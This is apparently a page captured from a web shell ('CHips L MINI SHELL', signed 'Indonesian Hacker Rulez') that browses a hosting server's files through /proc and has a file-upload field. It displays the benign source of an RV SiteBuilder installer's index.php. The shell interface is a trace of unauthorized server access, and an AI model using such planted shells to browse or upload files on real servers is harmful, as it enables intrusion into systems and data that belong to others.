CHips L MINI SHELL

CHips L pro

Current Path : /proc/2/root/usr/local/rvglobalsoft/rvglobalsoft/auto/rvsitebuilderinstaller/
Upload File :
Current File : //proc/2/root/usr/local/rvglobalsoft/rvglobalsoft/auto/rvsitebuilderinstaller/index.php

<?php
/**
 * Project:    RV SiteBuilder Installer: the PHP Installer RV Site Builder.
 * File:        index.php
 *
 * 
 * @author  Pairote Manunphol <pairote@rvskin.com>
 * @version $Revision$
 * @since   PHP 4.1
 */
///cpanel --> /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/

require_once dirname(__FILE__) . '/CpHandle/constants.php';
require_once dirname(__FILE__) . '/CpHandle/CpHandle.php';
require_once dirname(__FILE__) . '/lib/DirectAdmin.php';

require_once INS_REAL_PATH . '/ioncLoader.php';

chdir(INS_REAL_PATH);
/*
$scriptFilename = preg_replace('/\/index\.php/i','',$_SERVER['SCRIPT_FILENAME']);
define('INS_TEMPLATE_PATH', $scriptFilename . '/templates');
*/
require_once INS_INC_PATH . '/Controller.php';

//DirectAdmin set header 
if (RvsLibs_DirectAdmin::isDirectAdmin() == true && !headers_sent()) {
  echo "HTTP/1.0 OK\n";
  echo "Content-Type: text/html; charset=utf-8\n\n";
}

$process =  new Controller();
$process = &$process;
$process->scriptFilename = INS_REAL_PATH;
if (INS_CPMODE == 'da') {
	$process->NAVIGATOR_MENU = array(
        'preinstallation' => array(
            'menuMsg' => '{translate#Pre-Installation Check#}',
            'menuDesc' => '{translate#Pre-Installation Check#}'
        ),
        'License' => array(
            'menuMsg' => '{translate#License#}',
            'menuDesc' => '{translate#License#}'
        ), 
        'HowtoInstallOnDa' => array(
            'menuMsg' => '{translate#Install RVSitebuilder#}',
            'menuDesc' => '{translate#Install RVSitebuilder#} : {translate#How to install RVSitebuilder detail#}'
        ),
    );
} else {
	$process->NAVIGATOR_MENU = array(
	    'preinstallation' => array(
	        'menuMsg' => '{translate#Pre-Installation Check#}',
	        'menuDesc' => '{translate#Pre-Installation Check#}'
	    ),
	    'License' => array(
	        'menuMsg' => '{translate#License#}',
	        'menuDesc' => '{translate#License#}'
	    ), 
	    'Download' => array(
	        'menuMsg' => '{translate#Step 1#}',
	        'menuDesc' => '{translate#Step 1#} : {translate#Download RV SiteBuilder Packages and Install RV SiteBuilder#}'
	    ),
	    'DBsetup' => array(
	        'menuMsg' => '{translate#Step 2#}',
	        'menuDesc' => '{translate#Step 2#} : {translate#RV SiteBuilder Database Setup#}',
	    ),
	);
}
$process->PROGRAMNAME = '{translate#RV SiteBuilder Installation#}';
$process->MASTER_TEMPLATE = INS_TEMPLATE_PATH . '/index.htm';
$process->MAIN_BUTTON = '<input name="next" value="next" type="image" src="' . INS_TEMPLATE_URL . '/images/btnext.jpg" />';
$process->MAIN_BUTTON_ALIGN = 'right';
$process->Model();
?>

Copyright 2K16 - 2K18 Indonesian Hacker Rulez